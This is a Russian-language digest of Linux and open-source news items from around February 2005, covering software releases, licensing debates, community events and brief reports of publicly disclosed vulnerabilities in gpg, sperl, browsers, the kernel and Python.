Продолжаем публиковать результаты конкурса PHP Inside Art Contest.

В фокусе:

Теория разработки framework-систем
Динамический генератор функций
Транзакции - головная боль или крылья?
Безопасно-ориентированное программирование
Изменим жизнь к лучшему с помощью буферизации вывода

Идеи:
Шаблонизация на XSLT. Приемы и примеры

Форум
Работа над ошибками. Подход #1
Работа над ошибками. Подход #22 (PHP5)
Постраничный вывод данных из MySQL
Вывод данных из файла "через строку"

>>> Подробности

Mister и Zuccherato придумали exploit способности OpenPGP проверять зашифрованное сообщение на правильность. Обычным пользователям это ничем не грозит. Но, например, в том случае если вы настроили автоматическую предобработку своей почты -- так что если встречается зашифрованное для вас сообщение, то оно автоматически проверяется, и в случае ошибки баунсится отправителю, то у вас проблемы, потому что атакующий способен получить часть plain text'а всего лишь после нескольких десятков тысяч проб.

Несмотря на невысокую практичность этой атаки, gpg включит контрмеры против нее в 1.4.1

>>> Подробности

На старт ... внимание ... марш!
В независимом тестированием под Линукс, Windows XP, MacOS 9 u X принимают участие Opera 6, 7, 8, Internet Explorer 5 u 6, Konqueror u другие браузеры. Выводы по ссылке.

>>> Подробности

Fabrice Bellard добавил в CVS-репозиторий эмулятора QEMU ядерный модуль
который призван побороть падение быстродействия при эмуляции x86 на x86-архитектуре.

Модуль, к сожалению, закрытый... :(

>>> Подробности

Вышла новая версия любимого многоми автосимулятора Torcs. Улучшены графика, физика, звук, добавлены новые треки и машины.

>>> Подробности

Вышел в свет набор инстрементов для кросс-платформенной разработки встраиваемых приложений для Linux.

В релиз вошло: Поддержка ARM и x86 платформ (некоторые другие пока эксперементальны). Выбор библиотек glibc или uClibc. Выбор Qemu или реальной железки для запуска ПО.

Как и многое другое специалезированное ПО проспонсированно Nokia, проект под GPL.

>>> Подробности

ALT Linux и Институт логики проводят цикл семинаров на общую тему "Свободные программы: философия, технология, бизнес"

18 февраля в 18 часов в Красном зале Института философии РАН выступит Анатолий Левенчук с докладом "Реформа электронизации" (о проблемах создания электронного государства)

Вход по предварительной записи. Запись свободная.

>>> подробнее на сайте ALT Linux

Энтузиастами, поддерживающим русскую локализацию CMS Drupal, начат перевод Руководства Администратора. Благое начинание, которое позволит пользователям этой системы больше разобраться в тонкостях работы с ней. Цель этой работы, конечно же, привлечь внимание русских вебмастеров, которые, на взгляд многих, незаслуженно обходят вниманием эту удивительную и многообещающую систему, которая, к тому же, стабильно и равномерно развивается, непрерывно стремясь к совершенству...

Русская поддержка Drupal: http://drupal.ru

Возможности Drupal: http://drupal.ru/features

Скриншоты: http://drupal.ru/screens

PS! Русский сайт поддержки CMS Drupal, радует своим сообществом, которое активно пополняется и взаимодействует... Недавно выложили конвертор из PhpBB в Drupal.

>>> Сайт перевода Drupal Administrator's guide

Joerg Schilling (aka автор cdrecord) перевел разрабатывавшийся им единолично в течении 23 лет Standard TAR из GPL в CDDL. На следующий день он предложил NetBSD включить star в базовую систему (вслед за Solaris). В ответ произошло некое техническое обсуждение star:

http://mail-index.netbsd.org/netbsd-a...

Тем не менее, по вопросу лицензии были высказаны сомнения в совместимости BSD и CDDL:

http://mail-index.netbsd.org/netbsd-a...

>>> Подробности

Опубликован набор скриптов и программ apache-tools, написанный в качестве приложения к книге Apache Security издательства O'Reilly. Сама книга должна выйти в этом году.

>>> Подробности

CTO корпорации Sun Microsystems Грег Попадопулос высказался по поводу разгоревшихся споров о несовместимости лицензий GNU GPL и Sun CDDL: "В отличие от GPL, наша лицензия допускает смешивание любых модулей, в том числе и закрытых. Несовместимость это проблема GPL" -- заявил он. Также было высказана просьба к апологетам GPL "не говорить за все opensource-сообщество" и надежда на разрешение сложившейся ситуации с выходом GPLv3.

>>> Подробности

Конкурс на разработку нового логотипа FreeBSD официально не был объявлен -- анонс попал в сеть благодаря утечке информации. Более того, условия конкурса не предполагают полную замену существоющего логотипа новым -- заявил Роберт Ватсон (см. http://lists.freebsd.org/pipermail/fr...)

О начале конкурса будет объявлено дополнительно

>>> сайт конкурса

Судья отругал SCO за отсутствие улик против IBM: Федеральный судья, рассматривающий иск SCO Group против IBM по поводу Unix и Linux, отверг попытку IBM отмести обвинения, но своим заключением дал повод считать дело SCO бесперспективным

>>> Подробности

В целом:
- исправления ошибок, включая устранение уязвимостей;
- незначительные обновления, включая новые возможности.

Изменения коснулись:
- драйверов ATI R100/R200/Radeon/Rage128 (улучшения 3D, ускорение RENDER, поддержка гаммы для XVideo, поддержка DRI для IGP, поддержка новых чипов: R420/M18, R423, RV370/M22, RV380/M24, RS300);
- улучшен DRI для Mach64, R200, Radeon;
- драйвера Intel 810 (поддержка 3D и Dualhead для i830, поддержка i915, поддержка AMD64 =) );
- драйвера Matrox (улучшения 3D, поддержка DDC и DPMS на втором мониторе для G400);
- драйвера nVidia nv;
- драйвера SiS (значительные исправления для 661/741/760, поддержка HDTV для 315/330, поддержка AMD64);
- драйвера NeoMagic (поддержка XVideo для чипов, вышедших до nm2160);
- других драйверов: SiS/NeoMagic/S3/Savage;
- драйвера Postscript printer;
- библиотек Mesa (OpenGL), теперь версии 6.2.1;
- библиотек DMX/libXpm/CYGWIN.

Ресурсы (скачать патчи/исходники/бинарники/документацию):
http://www.x.org/X11R6.8.2/

>>> Подробности

Поисковая система Yahoo поспешила представить свою новую разработку - панель задач для браузера Firefox, сообщает агентство Reuters. Этот инструмент помогает пользоваться поиском Yahoo. не заходя на официальный сайт, а лишь используя функциональные кнопки панели.

>>> Подробности

9 февраля 2005 проект KDE сообщил о выходе KDE 3.4 Beta 2, кодовое имя "Keinstein". Выпуск финальной версии ожидается 16 марта текущего года.

>>> Подробности

Как уже сообщалось ранее, в конце апреля этого года в Москве, в отеле Radisson SAS Hotel, пройдет конференция Open Source Forum Russia. Ее участниками будут представители крупнейших Linux-компаний: Red Hat (Мэттью Сцулик, президент), IBM, Novell (Рихард Зейбт, президент Novell в Европе, Африке и Ближнем Востоке, ранее - глава SUSE Linux AG), Mandrakesoft (Франсуа Бансилон, президент), MySQL (Дэвид Экмарк, один из основателей), Trolltech (Матиас Эттрих) и других, а также "светила" мира open-source: создатель Perl Ларри Уолл, исполнительный директор Linux Int. Джон "Мэддог" Холл и сотрудники Министерств РФ. В ходе мероприятия будет организована демонстрация "Linux City" - мини-города, инфраструктура которого базируется на открытых технологиях, а также проведена выставка и тематические круглые столы. (c linuxcenter.ru)

>>> Подробности

Сравнение производительности MySQL на различных платформах. Довольно интересные результаты.

>>> Подробности

OpenGUI -- независимая библиотека для создания легковесных
графических интерфейсов.

Основные изменения:
- возможность описания GUI в формате XML (XUI)
- мелкие исправления

>>> http://www.tutok.sk/fastgl/

Guido van Robot -- среда для обучения основам программирования, сочетающая простейший язык с наглядным отображением процесса исполнения программы. Программа снабжена набором задач и упражнений, рассчитанным на 18 уроков. В новой версии добавлена подсветка синтаксиса.

>>> Подробности

Вышел Inscape 0.41.

Из нового: multiscan tracing feature, new "Tile clones" dialog with randomized placement, scale, rotation, and opacity.

>>> Страница для скачивания

Sdict это мультиплатформенный словарь с собственным форматом хранения данных.
Основные особенности:
- полная поддержка юникода, все словари хранятся в UTF-8
- не требуется загрузка словаря в БД, работает напрямую с файлами
- пользовательский интерфейс на Perl/Tk
- веб-интерфейс
- GPL

>>> Подробности

Как часть приготовлений к конференции FOSDEM '5, организация провела три интервью с Alexander Larsson (Nautilus & GnomeVFS maintainer) http://www.fosdem.org/2005/index/inte..., с Matthias Ettrich (создатель KDE & Lyx, работает в Trolltech) http://www.fosdem.org/2005/index/inte..., u Oliver Fourdan (создатель XFce) http://www.fosdem.org/2005/index/inte....

>>> Подробности

Сотрудник Novell David Reveman занимается разработкой экспериментального X11 сервера, использующего OpenGL hardware ускорение. Информация по ссылке, а это screenshot:
http://nat.org/2005/february/xgl-shot...

Исходники http://cvs.freedesktop.org/xserver/xs...

>>> Подробности

В основном bug-fix release. Идём по ссылке не ленимся чтобы прочитать что исправленно.

>>> ChangLog

Обновился популярный среди российских IRC сетей, production IRC deamon.

Сервер основан на ircd-hybrid сети EFNet, поддерживает русские ники и каналы.

В новой версии включена поддержка SSL для irc юзеров.

Подробности: http://ircd-hybrid.org.ru

Если вы начинаете новый проект или поддерживаете уже существующий, статья содержит практические советы о том, как сделать ваш проект узнаваемым, как мотивировать остальных присоединиться к вашему проекту, и как сделать так, чтобы ваш проект оставался долгожителем и активным на долгое время. Распланируйте свой opensource проект.

>>> Подробности

Последние события, связанные с безопасностью ОС Линукс показали, что процесс отслеживания и реагирования на проблемы безопасности ядра поломан, надо срочно его чинить, уже сейчас.

>>> Подробности

Согласно отчету аналитической компании Gartner, продолжающий быстро завоевывать популярность браузер Mozilla Firefox, скорее всего, удержит свои уже немалые позиции на рынке браузеров, потеснив основного игрока - Internet Explorer. Доля Firefox в ближайшее время достигнет отметки, когда с его существованием придется всерьез считаться web-дизайнерам и IT-менеджерам. Как следствие, сайты и web-приложения с логотипом "IE-only" больше не прокатят.

>>> Подробности

FreeBSD объявляет конкурс на создание нового логотипа.

>>> Подробности

Компания JetBrains объявила о предоставлении Open Source проектам бесплатных лицензий на Intellij IDEA - одну из лучших Java IDE. К проектам-соискателям предъявляются следующие требования:

1. Open Source
2. Наличие отдельного сайта, посвященного проекту
3. Наличие жизнеспособного community

Количество предоставляемых лицензий не уточняется.

>>> Подробности на сайте JetBrains

Сайт LinuxQuestions объявил результаты опроса "выбор пользователей 2004"

Browser of the Year - Firefox (77.12%)
Distribution of the Year - Slackware (19.36%)
LiveCD Distribution of the Year - Knoppix (57.69%)
Database of the Year - MySQL (53.51%)
Desktop Environment of the Year - KDE (58.25%)
Window Manager of the Year - Fluxbox (31.14%)
Office Suite of the Year - OpenOffice.org (84.85%)
Word Processor of the Year - oowriter (63.75%)
Spreadsheet of the Year - oocalc (57.57%)
Audio Multimedia Application of the Year - XMMS (45.83%)
Video Multimedia Application of the Year - mplayer(49.85%)
Security App of the Year - nmap (37.14%)
Hardening App of the Year - SELinux (68.65%)
Editor of the Year - vi/vim (36.37%)
Web Development Editor of the Year - Quanta (50.88%)
IDE of the Year - Kdevelop (37.77%)
Mail Client of the Year - Thunderbird (47.60%)
Open Source Game of the Year - Frozen Bubble (25.52%)
Commercial Game of the Year - UT2004 (38.86%)
Windows on Linux App of the Year - Wine (42.59%)
File Manager of the Year - Konqueror (30.59%)
Messaging App of the Year - Gaim (56.00%)
Graphics App of the Year - GIMP (72.82%)
MTA of the Year - PostFix (45.57%)

>>> Подробности

IPython служит заменой стандартной интерактивной оболочке python, но... имеет возможность использования в качестве шелла - то есть служит заменой вашему bash ! Среда имеет практически все возможности bash: автоподстановку по Tab, историю (более продвинутую); а так же много новых возможностей.

>>> Подробности на русском

- это самое простое использование программы которая пишется для поддержания огромных life-time архивов и быстрого нахождения по ключам, которые вы вводите _сами_ (вручную или скриптом) - а не кто-то за вас индексирует всё и вся.
Скриншоты здесь:
http://sourceforge.net/project/screen...
только конструктивно пожалуйста...

>>> а проект конечно на сорсфорже

Чуть меньше чем через два года после 21.3 вышел GNU Emacs 21.4. Анонса на домашней странице пока еще нет.

Home page: http://www.gnu.org/software/emacs/ema...
Статья "Что новый Emacs нам готовит": http://xtalk.msk.su/~ott/ru/emacs/ema...

Источник - linuxrsp.ru

>>> Загрузить (20 мег)

Серъезная проблема обнаружена в Mozilla, Opera & Safari:

"International Domain Name [IDN] support in modern browsers allows attackers to spoof domain name URLs + SSL certs."

А тут можно проверить (в ИЕ не работает):

http://www.shmoo.com/idn/

Исправление:

about:config -> network.enableIDN

P.S: Мне очень понравилось, как работает линк на paypal.com :)

>>> Подробности

Novell тихо и незаметно выложила на свой сервер небольшое видео, повествующее о трудностях жизни менеджеров IT-компаний после прекращения поддержки фирмой Microsoft линейки Windows XP. Linux предлагается как решение всех проблем.

Интересная стилизация под гангстерские фильмы и прикольные диалоги заставляют пожалеть о том, что длительность ролика составляет меньше четырех минут.

>>> Видео ролик

На саммите Enterprise Linux Summit, разработчик и мэйнтейнер ядра ОС Линукс Эндрю Мортон сообщил, что в ближайщем будущем он включит в ядро поддержку технологии виртуализации Xen. Также он сообщил, что в будущих версиях ядра будут включены обновленная файловая система NFS 4, кластерная файловая система и Infiniband.

>>> Подробности

Найденены 2 уязвимости в sperl, обе являются критичными и позволяют расширить привилегии обычного пользователя до root,объявлено о удачной эксплуатации уязвимостях на системах

Debian 3.1
Ubuntu 4.10
Redhat 8.0

Обе уязвимости связаны с переменной PERLIO_DEBUG

1) При отладке создается файл принадлежащий root, в любом месте системы, то есть возможна перезапись загрузочных скриптов или запись в /etc/ld.so.preload и загрузка троянского модуля, возвращающего 0 для функции getuid()

2) Переполнение буфера при определении директории для отладки (ситуация при указании длинного пути до выполняемого скрипта). Результат эксплуатации уязвимости - root shell.

>>> Подробности и эксплоиты

По информации CNews, в ближайшее время Минэкономразвития РФ объявит конкурс на выполнение работ по совершенствованию ПО для органов государственной власти Новгородской области. Бюджет проекта составляет более 10 млн. рублей. Предполагается, что техническое задание будет ?подогнано? под требования ПО с открытым исходным кодом, и с высокой вероятностью можно ожидать, что будут выбраны именно такие решения. Таким образом, власти Новгородской области собираются в этом году начать работы по разрешению проблем взаимодействия разнородных ИТ-систем с использованием ПО с открытым кодом.

новость>>http://www.cnews.ru/newtop/index.shtm...

Carl-Daniel Hailfinger из команды SUSE объявил о уязвимости ядер linux 2.6.x - Linux Kernel NTFS Unspecified Denial of Service.
Причина уязвимости в том, что внутренняя функция поддержки журнала сообщений ядра "printk()" не ограничивает в должной степени функции "ntfs_warning()" и "ntfs_error()". Уязвимость имеет место при выключеной опции отладки (устанавливается при компиляции) для NTFS.
Уязвимость отнесена к локальным, устранена в 2.6.11-rc3.

>>> Подробности

В списке рассылки LKM (linux kernel maillist) вновь обсуждается тема проблем разработки модулей для Linux ядра, распространяемых под лицензиями отличными от GPL. Такие модули, используя EXPORT_SYMBOL, оказываются по сути отрезанными от некоторых подсистем ядра (например, sysfs доступен только в EXPORT_SYMBOL_GPL).

Разработчики sysfs отказались предоставлять доступ к своему API для закрытых модулей, предлагая сменить лицензию на GPL (использовать MODULE_LICENSE("GPL")). Разработчикам модулей под лицензией BSD, советуют использовать двойную GPL/BSD лицензионную схему.

Основной аргумент - закрытые модули, как правило драйверы устройств, которые должны быть обособлены и не должны иметь доступ ко всем подсистемам ядра, так как это уменьшает общую надежность и безопасность системы.

>>> Подробности

XXE это WYSIWYM (What You See Is What You Mean) XML редактор, позволяющий задать для любого XML документа CSS и редактировать этот документ визуально по DTD.

Часто используется для редактирования DocBook. В стандартную поставку входит конфигурация для XHTML (включая HTML 4 ефилицы и формы), DocBook (включая CALS таблицы), Simplified DocBook, Slides.

Есть две версии, стандартной бесплатной версии достаточно для работы.

Возможности: http://www.xmlmind.com/xmleditor/feat...

>>> Подробности

Отличный обзор перспектив ввода патентов на программное обеспечение на территориях Европы, СНГ (Украины) и России

>>> Подробности

Библиотека QT 4 будет доступна для Windows под GPL лицензией. В то время как долгое время библиотека была доступна под двойной лицензией (X11, Unix, Mac, Embedded), разработчики под Windows не имели ничего, кроме коммерческой лицензии.

>>> Подробности

Всего менее 100 строк кода на python и у нас полноценный скрипт для отслеживания нужной информации на новостной ленте linux.org.ru Скрипт показывает в цвете на консоль заголовки новостей, число комментариев, изменения числа комментариев с предыдущего чтения, и выделяет цветом интересные заголовки.

>>> Подробности, скриншот и сам скрипт

Компания Coverity опубликовала результаты проверки качества исходников MySQL. В ходе анализа кода было выявлено 97 ошибок, из которых только одна может быть использована для нарушения безопасности.

В целом, код MySQL признан хорошим (1 ошибка на 4000 строк), его качество оказалось гораздо выше среднего коммерческого проекта (от 1 до 7 ошибок на 1000 строк).

Ранее проводилась проверка для Linux ядра, в результате которой было выявлено 985 ошибок в 5.7 миллионах строках кода, т.е. менее 1 ошибки на 10000 строк.

>>> Подробности

Еще не время хоронить GNUStep -- подтвержденем является новый live-cd GNUStep 0.9.4. В новом релизе обновления библиотек и средств разработки а также множество новых приложений.

GNUStep -- свободная реализация OpenStep API, предоставляющая пользователям и разработчикам NEXTStep-обазную desctop-среду.

>>> Подробности

После долгого перерыва вышла новая версия программы для просмотра документации Documancer.
Поддерживаются man, info, html.
Присутствуют закладки и глобальный поиск.
Программа использует wxPython,wxMozilla,man2html,info2html.

ChangeLog :

* added "Update index" menu entry
* added contents panel
* books are now stored in XML files in ~/.documancer/books/ instead of in config file
* added Refresh and Stop buttons
* PyLucene is now used instead of SWISH-E for fulltext search and Unicode is fully supported
* search UI improvements
* Python 2.3+ is now required

>>> Подробности

Вышла стабильная версия nmap 3.80 (программа для сканирования портов и определения операционной системы локального или удалённого компьютера).

ChangeLog по сравнению с версией 3.75 в комментариях.

>>> Скачать

Новая версия популярного дистрибутива TeX для unix-подобных систем. Основные изменения по сравнению с версией 2.0:

В качестве транслятора TeX используется pdfetex (в том числе и для LaTeX)

Дерево texmf соответствует TDS 1.1

texconfig/updmap/fmtutil могут теперь использоваться в многопользовательском окружении

Обновлены версии используемых программ, макропакетов, шрифтов и т. д.

>>> Подробности

Slackware 10.1 stable

ChangeLog: http://slackware.com/changelog/i386/C...

Вышла версия 2.6.2 библиотек GTK+ и GLib. Анонсы и изменения:

GTK+: http://mail.gnome.org/archives/gnome-... .

GLib: http://mail.gnome.org/archives/gnome-... .

>>> Скачать

В письме посвященном необходимости обеспечивать максимально свободное взаимодействие программного обеспечения (interoperability aka UNIX-way) директор Microsoft отметил, что его компания всегда старалась следовать этому принципу, тогда как движение свободного ПО зачастую создает искусственные препятствия (цитата): "the open source development approach encourages the creation of many permutations of the same type of software application, which could add implementation and testing overhead to interoperability efforts."

Также в письме отмечается важность XML как основы взаимодействия ПО в будущем.

>>> оригинальное письмо

4-ого Февраля вышел первый релиз Mozilla Sunbird - проект для ведения календаря. Основной задачей Sunbird является создание удобного календаря для использования с различными браузерами от Mozilla/NetScape 7.x. По сути Sunbird это переделанный Mozilla Calendar. В отличие от Mozilla Calendar, который является дополнением к браузерам от Mozilla, Sunbird существует как отдельный проект.

Sunbird основывается на открытом стандарте "iCal". На данный момент доступны версии для MacOS X, Linux & Windows.

>>> Подробности

Mozilla Foundation выпустила бета-версию плагина, который обеспечивает поддержку стандарта XForms 1.0 в браузерах, основанных на ядре Gecko (Mozilla, Firefox, Camino и т.д.).

XForms предоставляет широкие возможности для определения форм в XML-документах; W3C продвигает этот стандарт как замену используемых сейчас во всём интернете HTML-форм.

>>> Подробности

Вышел релиз coLinux 0.6.2, содержащий ядро 2.6.10 (в 0.6.1 было 2.4.26). Программа предназначается для запуска Linux под Windows 2000, Windows XP, Linux 2.6.x на i386.

Сайт - http://colinux.org/ .

Скачать - http://sourceforge.net/project/showfi... .

>>> ChangeLog

SUN серьезно рассматривает идею о продвижении собственного SQL сервера. Макнили и Шварц утверждают, что это одно из возможных и весьма вероятных направлений расширения бизнеса SUN. В качестве 'Sun Db' скорее всего будет выступать CA Ingres, которая на данный момент является open-source SQL сервером.

>>> Sun floats open-source database idea

Гослинг заявил что в планы развития платформы Java не входит
реализация поддержки каких-либо скриптовых языков виртуальной
машиной (JVM), несмотря на то что необходимость подобного шага
давно назрела. В качестве основного довода в поддержку этой
позиции Гослинг называет нежелание вызвать недовольство одних,
оказав поддержку другим кандидатам, основными среди которых
являются Python и Groovy. Стоит отметить, что в случае выпуска
исходных кодов JVM под свободной лицензией подобная проблема
возникнуть не смогла бы.

>>> Gosling on JVM Scripting

Команда разработчиков Python обнаружила уязвимость в модуле SimpleXMLRPCServer, предоставляющая атакующему доступ к внутренним данным и выполнение произвольного кода. Патчи для Python 2.3 и 2.4 обещают выпустить через несколько дней.

>>> PSF-2005-001

Вышла статья о прекращение доступа в Инет по превышению установленного лимита, при помощи Squid + SARG + Rejik

>>> Подробности

Обновлена версия сервера samba. Исправлено несколько ошибок. Из новинок следует отметить возможность администрировать пользователей и ресурсы не только под пользователем c uid=0 но и с любой группы которой назначены такие права. Улучшены средства миграции пользователей из домена windows в домен samba, увеличена скорость работы winbindd.

>>> Подробности

К немаленькому набору зависимостей GNOME прибавляется еще три: GTK+ 2.8 будет использовать Cairo, Glitz и libpixman. В замен GNOME получит унификацию векторной графики для низкого уровня (отрисовки виджетов), GNOME Canvas (сейчас работает через libart) и принтеров. Другой виджет-сет, Qt 4, собирается изобрести свою технологию для той же цели - Arthur.

>>> Подробности

Как использовать простаивающие windows-компьютеры с пользой для народного хозяйства? В статье приводится довольно простое, и в то же время эффективное решение. В роли промежуточного уровня, используется ядро coLinux, что позволяет обойтись минимальным вмешательством в обычную работу пользователя и в то же создать однородную дружественную к разработчику вычислительную среду. Также рассматриваются некоторые альтернативные варианты.

>>> Build a heterogeneous cluster with coLinux and openMosix

В полном оответствии с генеральным планом Gnome достиг версии 2.9.90,она же 2.10 beta1. Список улучшений доступен здесь: http://www.gnome.org/~davyd/gnome-2-10/ . Наиболее заметные --- это новые утилиты настройки подключения по модему и ISDN, доступа по NFS и SMB; многочисленные улучшения в апплетах, улучшения в работе меню для поддержки стандартов freedesktop.org; использование движка gecko в yelp. В релиз планируется включить ряд мультимедиа-программ основанных на gstreamer: totem (медиа-плеер), Sound Juicer (утилита для снятия музыки с Audio-CD), Goobox (претендет на замену предыдущего, представляет универсальную "шкатулку-самоиграйку" модели jukebox). Много других мелких улучшений.

>>> changelog

С начала девяностых проект ГНУ начал разрабатывать операционную систему HURD, которая представляла собой набор сервисов к микроядру GNU Mach. Однако, спустя некоторое время, разработчики пришли к выводу, что Mach - не самый удачный выбор и обратили свои взгляды на высокопроизводительное микроядро L4. Начался медленный процесс портирования проекта на новое микроядро и вот вчера Marcus Brinkmann закончил писать код, который позволил ему запустить первую программу под управлением Hurd/L4. "Теперь мы сможем легко исследовать и разрабатывать систему в любом направлении. Кушать подано!" - говорит Маркус.

Ссылки по теме:
Обсуждение на слэшдоте: http://slashdot.org/article.pl?sid=05...
Скриншот с первой успешно запущенной программой на Hurd/L4: http://marcus-brinkmann.org/banner.jpg
О Hurd по-русски: http://www.kholmsk.ru/cgi-bin/hurd/Hu...

>>> Подробности

В этом году на конференции linux.conf.au в Австралии выступит юная Linux-гуру.
Элизабет пользуется компьютером с двух лет, а с Debian работает с девяти лет. Судя по ее биографии, приведенной в списке докладчиков, ей еще не было десяти, когда она установила Debian GNU/Linux на сервер, ?доказав, что инсталляция Debian на самом деле не так уж и сложна?, хотя следует учесть, что ?папа был рядом, чтобы ответить на вопросы? в случае затруднений.
Kак сообщает http://zdnet.ru, Элизабет проведет семинар "Расширяй Tuxracer - учись, играя", темой которого, по словам председателя оргкомитета 2005 Стивена Хэндли, будет создание вариантов Tuxracer (популярной игры open source с участием симпатичного талисмана Linux), которые делали бы игру еще увлекательнее.

>>> Подробности

Blin Desktop - одно дисковая редакция дистрибутива Blin, рассчитанная на домашнее или офисное использование. Cистема традиционно не требует установки на жесткий диск, работает прямо с компакт-диска. При копировании системы на жесткий диск, можно добиться заметного ускорения в работе, при этом привод CD-ROM освобождается и может быть использован по прямому назначению.

Система построена на основе ядра версии 2.6.10. В качестве кодировки по умолчанию используется UTF8

>>> http://blin.zp.ua

Долгие годы ImageMagick был основным средством пакетной обработки изображений. Некоторое время назад появился "fork" проекта -- GraphicsMagick.

На сайте перечислены многочисленные изменения и улучшения, внесённые в оригинальный код ImageMagick. В числе прочего: несколько утилит объединены в одну (gm), исправлены опасные ошибки чтения изображений, улучшена поддержка разных глубин цвета и цветовых профилей, повышена производительность ряда операций.

Одна из целей проекта -- сохранение стабильного API. Это означает, что ваш код, использующий GraphicsMagick, будет давать одинаковые результаты по мере изменений в GraphicsMagick. Увы, этого очень не хватало в ImageMagick, где смысл отдельных функций совершенно изменялся даже при изменении во второй-третьей цифре версии.

>>> Сайт проекта

Fedora Extras - официальный дополнительный репозитарий для Fedora Core 3. Более пятисот новых пакетов. Догоним и перегоним Дебиан!

Ссылки по теме:
http://www.fedoraforum.org/forum/show...
http://fedoranews.org/blog/index.php?...

>>> Fedora Extras

Противники патентов на программное обеспечение торжествуют: ЕС придется заново переписать директиву Computer Implemented Inventions Directive.

>>> Подробности

В блоге про будущее Firefox Asa ответил про настоящее Мозиллы: усилия Фонда сосредоточены на Firefox & Thunderbird, разработка Мозиллы почти не ведется.

>>"It's a pity it seems from the absence of the roadmap and any Mozilla dedicated publicity the developers has forgotten it. Ok, it may only seem, but it is the impression many Mozilla fans have got."

>Your impression is mostly correct. With the exception of the stable 1.7 branch, we are not actively pushing Seamonkey right now. I'm not sure about "the developers", but the Mozilla Foundation has moved its focus to the Firefox and Thunderbird applications. We have limited resources and that's where we're putting them right now.

>--Asa

>>> Подробности

Компания Nokia объявила о выпуске адаптированной версии Python для мобильных телефонов семейства "Series 60", хотя разговоры были о Perl - www.theregister.co.uk/content/64/3494....

>>> Подробности

В системе Sun Grid потребители платят по $1 за каждый час работы центрального процессора компьютера решают свои вычислительные задачи на серверах и системах хранения данных, принадлежащих и эксплуатируемых Sun.
Было продемонстрировано решение задачи построения графической модели процесса свертывания белка.
Решение заняло несколько секунд, и обошлось в $12, в решении участвовали несколько сотен серверов.

>>> Подробности

Новые возможности:

* Поддержка Linux

* Коллекции XML-документов (позволяют эффективно запрашивать большое количество схожих XML-документов)

* Расширение поддержки языка XQuery: пространства имен XML и XQuery функции, определяемые пользователем

* C API

Полный список возможностей и другую информацию о Sedna Вы сможете найти на домашней страничке системы: http://www.modis.ispras.ru/Developmen...

>>> Подробности

Изменения:
- реализовано PGP-шифрование для jabber
- очередные исправления в RTF-парсере
- исправлено поведение программы в случае двойного логина в ICQ
- добавдена поддержка Yahoo на платформе Sun Sparc

>>> Подробности

Недавно пошла очень мощная дискуссия на LKML по поводу создания security only mailing list'a для ядра. Высказываются разные мнения по поводу "открытости" подобной рассылки, а также целесообоазности её создания. Довольно интересное чтиво, особенно радуют высказывания некоторых участников.
Alan Cox:
"Given that base 2.6 kernels are shipped by Linus with known unfixed security holes anyone trying to use them really should be doing some careful thinking. In truth no 2.6 released kernel is suitable for anything but beta testing until you add a few patches anyway.

2.6.9 for example went out with known holes and broken AX.25 (known). 2.6.10 went out with the known holes mostly fixed but memory corrupting bugs, AX.25 still broken and the wrong fix applied for the smb holes so SMB doesn't work on it".

>>> Подробности

Студенты Пекинского университета сконструировали робота, способного играть в футбол. Робот имеет крайне простую конструкцию и управляется встроенным компьютером с Red Hat Linux и ядром RTLinux 2.4.25-rtl. На всемирном чемпионате по футболу среди роботов робот занял пятое место. О том, какая ОС использовалась победителями чемпионата, ничего не сообщается.

>>> Soccer-playing robot runs real-time embedded Linux

ObjectWeb, международный консорциум, занимающийся разработкой открытого ПО, заявил о том, что разрабатываемый ими сервер приложений прошел сертификацию Java(tm) 2 Enterprise Edition (J2EE 1.4(tm)). JOnAS позиционируется, как безопасная, 100% совместимая альтернатива пропиетарным серверам.

INRIA, представитель ObjectWeb, и SUN, несколько месяцов вели совместную работу, чтобы создать легальную базу для сертификации JOnAS. Cам процесс сертификации начался в апреле прошлого года.

JOnAS включает в себя оригинальный код проектов: Carol, HOWL, Ishmael, Jeremie, Jonathan, Joram, JORM, JOTM, Medor, Monolog, Perseus and Speedo from ObjectWeb; Axis, EWS, Jakarta Commons, Struts, Tomcat, Velocity, WSDL4J, XMLBeans из Apache; HsqlDB, JacORB, JGroups, Mx4J, P6Spy, XDoclet и XJavaDoc.

>>> Подробности

Недавно стала известна часть планов разработчиков Mozilla. Ben Goodger обещает alpha-preview в марте, а бету уже в апреле. Выпуск версии 1.1 обещают в июне, хотя ранее предполагался выход в марте.

Никаких точных заявлений о том, что будет во второй версии браузера не было, обещают улучшения по части закладок, юзабилити, тулбаров, апдейтов и extensions.

Так же отмечено, что на 29-е января Файрфокс достиг отметки в 21 миллион скачиваний.

>>> Подробности

Вышел очередной релиз OpenSource jabber-сервера, написаного на Java. Несмотря на некоторые существенные недостатки он остается единственным джаббер-сервером с открытыми исходниками, официально поддерживающим интеграцию с AD (через LDAP). Из существенный добавлений в этой версии - поддержка JEP-0091 и сортировка данных, полученных из LDAP. Поддержка JEP-114, храния vCard в LDAP, s2s и некоторых других интересных возможностей, планируется в следующем релизе - 2.2.0. С учетом таго что релиз 2.1.0 был всего две недели назад, надеюсь ждать придется не очень долго...

>>> Changelog

Ryan Davis в своем блоге сообщил о выходе новой версии ruby2c - утилиты для преобразования кода ruby на эквивалентный c-код. Это еще бета, она не готова для реального использования, но возможно сообщение об утилите на ЛОРе ускорит ее развитие.

Home: http://rubyforge.org/projects/ruby2c/
Download: http://rubyforge.org/frs/download.php...

>>> Подробности

Juniper Networks, Inc. приобрела лицензию на RTCoreBSD - real-time kernel технологию от компании FSMLabs. RTCoreBSD будет применяться как компонент JUNOS. Подробнее о RTCoreBSD можно прочитать по следующему линку:

http://www.fsmlabs.com/products/rtcor...

>>> Официальный анонс

Многие уже использовали бета-версии Skype под Linux - теперь можно насладиться полноценным релизом. Если верить анонсу, все богатство функциональности теперь доступно - не только на платформе Windows...

>>> Подробности

Вышла новая версия GTK+2-based писалки дисков Graveman. За недолгий срок существования (первый публичный релиз был в середине декабря прошлого года) программа овладела основными приёмами работы с дисками (копирование, очистка, прожиг, etc), русским интерфейсом а также симпатичным логотипом ;-)
Программа замечательно впишется, к примеру, в рабочую среду Xfce.

P.S. Для исправления незначительных ошибок в русском интерфейсе был выпущен патч (к сожалению, не успел войти в 0.3.5 релиз) - выполнять в директории graveman_0.3.5/po. Ссылка будет доступна в течение 24 часов (потом, по надобности, патч будет выложен снова).

Download patch >> http://disk.tom.ru/cgi-bin/down.cgi?p...

>>> Подробности

Сделан очередной шаг к написанию полностью свободных драйверов для видеокарт на базе чипсета r300. Теперь, чтобы играть в Quake 3, больше не требуются закрытые драйверы от ATI!

glxgears должен показывать на этих драйверах ~1000fps.

Теперь дело за запуском Doom 3 ;-).

